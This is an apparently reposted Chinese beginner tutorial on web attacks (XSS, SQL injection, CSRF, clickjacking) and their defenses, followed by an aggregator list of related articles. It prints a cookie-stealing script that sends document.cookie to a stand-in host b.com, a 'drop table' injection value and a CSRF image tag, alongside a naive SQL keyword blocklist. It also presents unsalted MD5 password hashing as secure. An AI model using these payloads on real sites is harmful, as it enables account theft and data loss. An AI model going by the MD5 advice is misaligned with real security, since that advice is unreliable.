Web安全——跨站脚本攻击(XSS)

web常见攻击手段

我只会大概提及它的攻击原理和预防方法,具体的实现和深入研究还请大家自行百度,因为只有真正需要用到才会去详细了解,这里我只为web安全小白做知识扫盲。因为博主目前接触最多的服务端语言是JAVA所以例子都从java web项目来讲。

跨站脚本攻击(XSS)

虽然我们目前做的是一个博客的小网站,但是以后无论是自己的博客还是实际的项目,都可以用图片来提供外链,方便管理,如果你的网站访问量很高啊,一天几十万几百万啊,我的天啊,这时候你考虑的就不是服务器空间够不够大,而是惊人的并发数啊,光是请求html文件(或其他)的链接就处理不过来了,哪还有多余的资源去读取图片啊,索性就把图片存另一个服务器吧,给主服务器减轻压力啊,于是图床诞生了。

反射型XSS

它是通过诱使用户打开一个恶意链接,服务端将链接中参数的恶意代码渲染到页面中,再传递给用户由浏览器执行,从而达到攻击的目的。如下面的链接:

http://a.com/a.jsp?name=xss<script>alert(1)</script>

a.jsp将页面渲染成下面的html:

Hello xss<script>alert(1)</script>

这时浏览器将会弹出提示框。

持久型XSS

持久型XSS将恶意代码提交给服务器,并且存储在服务器端,当用户访问相关内容时再渲染到页面中,以达到攻击的目的,它的危害更大。

比如,攻击者写了一篇带恶意JS代码的博客,文章发表后,所有访问该博客文章的用户都会执行这段恶意JS。

Cookie劫持

Cookie中一般保存了当前用户的登录凭证,如果可以得到,往往意味着可直接进入用户帐户,而Cookie劫持也是最常见的XSS攻击。以上面提过的反射型XSS的例子来说,可以像下面这样操作:

首先诱使用户打开下面的链接:

http://a.com/a.jsp?name=xss<script src=http://b.com/b.js></script>

用户打开链接后,会加载b.js,并执行b.js中的代码。b.js中存储了以下JS代码:

var img = document.createElement("img");
img.src = "http://b.com/log?" + escape(document.cookie);
document.body.appendChild(img);

上面的代码会向b.com请求一张图片,但实际上是将当前页面的cookie发到了b.com的服务器上。这样就完成了窃取cookie的过程。

防御Cookie劫持的一个简单的方法是在Set-Cookie时加上HttpOnly标识,浏览器禁止JavaScript访问带HttpOnly属性的Cookie。

XSS的防御

输入检查

对输入数据做检查,比如用户名只允许是字母和数字,邮箱必须是指定格式。

一定要在后台做检查,否则数据可能绕过前端检查直接发给服务器。
一般前后端都做检查,这样前端可以挡掉大部分无效数据。
对特殊字符做编码或过滤,但因为不知道输出时的语境,所以可能会做不适当的过滤,最好是在输出时具体情况具体处理。

输出检查

对渲染到HTML中内容执行HtmlEncode,对渲染到JavaScript中的内容执行JavascriptEncode。

另外还可以使用一些做XSS检查的开源项目。

SQL注入

SQL注入常常会听到,它与XSS类似,是由于用户提交的数据被当成命令来执行而造成的。下面是一个SQL注入的例子:

String sql = "select * from user where username = ‘" + username + "‘";

像上面的SQL语句,如果用户提交的username参数是leo,则数据库执行的SQL为:

select * from user where username = ‘leo‘

但如果用户提交的username参数是leo’; drop table user–,那执行的SQL为:

select * from user where username = ‘leo‘; drop table user--‘

在查询数据后,又执行了一个删除表的操作,这样的后果非常严重。

SQL注入的防御

防止SQL注入最好的方法是使用预编译语句,如下面所示:

String sql = "select * from user where username = ?";
PreparedStatement pstmt = conn.prepareStatement(sql);
pstmt.setString(1, username);
ResultSet results = pstmt.executeQuery();

不同语言的预编译方法不同,但基本都可以处理。

如果遇到无法使用预编译方法时,只能像防止XSS那样对参数进行检查和编码。

跨站请求伪造(CSRF)

跨站请求伪造的英文全称是Cross Site Request Forgery,是由于操作所需的所有参数都能被攻击者得到,进而构造出一个伪造的请求,在用户不知情的情况下被执行。看下面一个例子:

如果a.com网站需要用户登录后可以删除博客,删除博客的请求地址如下:

GET http://a.com/blog/delete?id=1

当用户登录a.com后,又打开了http://b.com/b.html,其中有下面的内容:

<img src="http://a.com/blog/delete?id=1"/>

这时会以用户在a.com的身份发送http://a.com/blog/delete?id=1,删除那篇博客。

CSRF的防御

验证码:

CSRF是在用户不知情的情况下构造的网络情况,验证码则强制用户与应用交互,所以验证码可以很好得防止CSRF。但不能什么请求都加验证码。

referer检查:

检查请求header中的referer也能帮助防止CSRF攻击,但服务器不是总能拿到referer,浏览器可能出于安全或隐私而不发送referer,所以也不常用。倒是图片防盗链中用得很多。

Anti CSRF Token:

更多的是生成一个随机的token,在用户提交数据的同时提交这个token,服务器端比对后如果不正确,则拒绝执行操作。

作为了解,一般前面的攻击都过了,就可以造成此类攻击。

点击劫持(ClickJacking)

点击劫持是从视觉上欺骗用户。攻击者使用一个透明的iframe覆盖在一个网页上,诱使用户在该网页上操作,而实际点击却是点在透明的iframe页面。

点击劫持延伸出了很多攻击方式,有图片覆盖攻击、拖拽劫持等。
点击劫持的防御

针对iframe的攻击,可使用一个HTTP头:X-Frame-Options,它有三种可选值:

DENY: 禁止任何页面的frame加载;
SAMEORIGIN:只有同源页面的frame可加载;
ALLOW-FROM:可定义允许frame加载的页面地址。

针对图片覆盖攻击,则注意使用预防XSS的方法,防止HTML和JS注入。

我的方法

登录的字符检测

function validate(value) {
    var pattern = /[`[email protected]#$%^&*()_+<>?:"{},.\/;‘[\]]/im;
    if (value === ‘‘ || value === null) return false;
    if (pattern.test(value)) {
        alert("非法字符!");
        return false;
    }
    return true;
}

function filterSqlStr(value) {
    var str = "and,delete,or,exec,insert,select,union,update,count,*,‘,join,>,<";
    var sqlStr = str.split(‘,‘);
    var flag = true;

    for (var i = 0; i < sqlStr.length; i++) {
        if (value.toLowerCase().indexOf(sqlStr[i]) != -1) {
            flag = false;
            break;
        }
    }
    alert(flag);
    return flag;
}

JS封装的2个方法,用于返回布尔值来判断是否通过。第一个为了过滤掉非法字符,第二个为了过滤有关数据库操作的非法字符。

密码MD5加密

//password  Md5

        public static String MD5Password(String oldstr) {

            char hexDigits[] = { ‘0‘, ‘1‘, ‘2‘, ‘3‘, ‘4‘, ‘5‘, ‘6‘, ‘7‘, ‘8‘, ‘9‘,
                    ‘a‘, ‘b‘, ‘c‘, ‘d‘, ‘e‘, ‘f‘ };

            byte[] oldbytes = oldstr.getBytes();

            try {

                MessageDigest md = MessageDigest.getInstance("MD5");// 获取对象

                md.update(oldbytes);// 初始化对象

                byte[] newBytes = md.digest();// 运行加密算法

                char[] newStr = new char[32];

                for (int i = 0; i < 16; i++) {

                    byte temp = newBytes[i];

                    newStr[2 * i] = hexDigits[temp >>> 4 & 0xf];

                    newStr[2 * i + 1] = hexDigits[temp & 0xf];

                }

                return new String(newStr);

            } catch (NoSuchAlgorithmException e) {

                return null;

            }

        }

通过在后台对数据库中,管理员的密码进行MD5加密然后存入加密后的字段进去,在前台通过加密前的字段输入后在后台进行方法验证,实现MD5加密登录。防止数据库的密码被暴露查询出来。加密后无法被反解密出来。

后台添加修改信息的字符检测

同前台登录一样的检测方法,因为我只负责前台检测,如果黑客绕过了我的检测,就要进行后台对数据传过去的值进行检测,这时候就是后台人员的工作了。所以前后台都要进行这些字符检测,但是后台的责任要重一点,因为数据最终流向是在后台服务器端,前台只是初步防护而已。

验证码和滑块验证

验证码字符验证

目前验证码字符验证已经逐渐推出舞台,但是有一些专门这块验证服务的第三方平台,通过对验证码字符的不断改进和更新,对一些攻击者来说还是有防护作用,但是个人或企业网站还是用的一尘不变的验证方法的话,就很容易被攻击成功。很多初学者都在前台浏览器客户端用JS进行字符验证,很容易被破解跳过。好点的就在服务器进行检验,但是还是能被一些黑客经过长期的经验发明的一些工具破解。
这里就提及一下12306所推出的图片验证,目前已经被很多人报道也是不安全的,攻击者可以直接将图片处理后丢入google、百度的识图接口,返回的数值让人惊讶。

滑块验证

滑块验证和12306的图片识别验证目前算是比较安全的验证手段,滑动验证的核心并不是简单的拼接成功就可以过,所以也不是简单的算一下偏移量就能破解。滑动验证做的好的是通过采集你的滑动过程轨迹与服务器端的海量样本进行对比,区分人还是机器,用到了很多深度学习的技术,当然市面上也有一些滑动验证只是前端拼接就能过,大家还是要多多研究一下。

原文地址:https://www.cnblogs.com/joe235/p/12552973.html

时间: 2024-10-27 18:23:53

Web安全——跨站脚本攻击(XSS)的相关文章

跨站脚本攻击XSS(二)——session劫持

转载自:http://www.cnblogs.com/dolphinX/p/3403027.html 在跨站脚本攻击XSS中简单介绍了XSS的原理及一个利用XSS盗取存在cookie中用户名和密码的小例子,有些同学看了后会说这有什么大不了的,哪里有人会明文往cookie里存用户名和密码.今天我们就介绍一种危害更大的XSS--session劫持. 神马是session 想明白session劫持及其危害,首先要搞清楚什么是session,熟悉http的同学知道,http是无状态的,也就是客户端向服务

[Web安全之实战] 跨站脚本攻击XSS

Writer:BYSocket(泥沙砖瓦浆木匠) 微博:BYSocket 豆瓣:BYSocket Reprint it anywhere u want. 文章Points:   1. 认识XSS 2. XSS攻击 3. XSS防御(重点) 一.认识XSS先 先说个故事吧,在上一篇,我还想说这个案例.其实什么叫攻击,很简单.获取攻击者想要的信息,就黑成功了.抓到一个Tomcat漏洞(这不是我说的,一个认识的人说的),上传一个JSP,里面模拟HttpClient,下载一个木马,运行.OK,搞定了.所

跨站脚本攻击XSS

跨站脚本攻击(Cross Site Script为了区别于CSS简称为XSS)指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的. 一个简单的留言板 我们有个页面用于允许用户发表留言,然后在页面底部显示留言列表 <!DOCTYPE html> <html> <head> <?php include('/components/headerinclude.php');?>&

跨站脚本攻击(XSS)

一.跨站脚本攻击的原理 1.XSS又叫CSS (Cross Site Script) ,跨站脚本攻击.它指的是恶意攻击者往Web页面里插入恶意脚本代码,而程序对于用户输入内容未过滤,当用户浏览该页之时,嵌入其中Web里面的脚本代码会被执行,从而达到恶意攻击用户的特殊目的. 2.跨站脚本攻击的危害:窃取cookie.放蠕虫.网站钓鱼 ... 3.跨站脚本攻击的分类主要有:存储型XSS.反射型XSS.DOM型XSS 4.XSS漏洞是Web应用程序中最常见的漏洞之一.如果您的站点没有预防XSS漏洞的固

java防范跨站脚本攻击(XSS)

网络中心提示网站有数目众多的跨站脚本攻击(XSS)漏洞,经过查看代码,认为是JSP中绑定变量是未经处理直接写入的,而且整个项目中这样的做法太多,因为是多年前的,不好一个个更改,参照网上资料,通过加filter对数据参数进行处理. 1.在github上下载lucy-xss-servlet-filter:https://github.com/naver/lucy-xss-servlet-filter 2.打开项目lucy-xss-servlet-filter,将下载代码输出为jar包. 项目输出为j

跨站脚本攻击xss学习

0.认识跨站脚本 举一个跨站脚本的简单例子. 假设一个页面将用户输入的参数直接显示到页面之中.(比如有如下代码) 在实际的浏览器中,在param中提交的参数正常会展示到页面之中.比如输入下面的URL: 然后发现浏览器页面的提供会变成这样: 此时如果提交下面的URL: 会发现alert被执行了 1.跨站脚本分类 跨站脚本攻击分为3类,反射型.存储型和DOM Based XSS. 1.反射型xss.浏览器执行一个不可信的脚本,并获得服务器的响应.通常黑客需要引诱用户点击恶意链接来进行触发. 2.存储

网络安全-跨站脚本攻击XSS(Cross-Site Scripting)

一.XSS攻击简介 作为一种HTML注入攻击,XSS攻击的核心思想就是在HTML页面中注入恶意代码,而XSS采用的注入方式是非常巧妙的. 在XSS攻击中,一般有三个角色参与:攻击者.目标服务器.受害者的浏览器. 由于有的服务器并没有对用户的输入进行安全方面的验证,攻击者就可以很容易地通过正常的输入手段,夹带进一些恶意的HTML脚本代码.当受害者的浏览器访问目标服务器上被注入恶意脚本的页面后,由于它对目标服务器的信任,这段恶意脚本的执行不会受到什么阻碍.而此时,攻击者的目的就已经达到了. 下面我们

web安全之攻击

转自 知乎https://www.zhihu.com/question/22953267 作者:潘良虎链接:https://www.zhihu.com/question/22953267/answer/80141632来源:知乎著作权归作者所有.商业转载请联系作者获得授权,非商业转载请注明出处. 多年前写过一篇 「Web安全之SQL注入攻击技巧与防范」,今天回头再看依然有价值,就偷个懒,直接贴过来了. Web安全简史 在Web1.0时代,人们更多是关注服务器端动态脚本语言的安全问题,比如将一个可

《白帽子讲WEB安全》学习笔记之第3章 跨站脚本攻击(xss)

第3章 跨站脚本攻击(xss) 3.1 xss简介 恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的. XSS攻击:跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆.故将跨站脚本攻击缩写为XSS. XSS本质就是HTML注入 XSS的分类: (1)     反射型XSS: 一个恶意构造了Web的URL (2)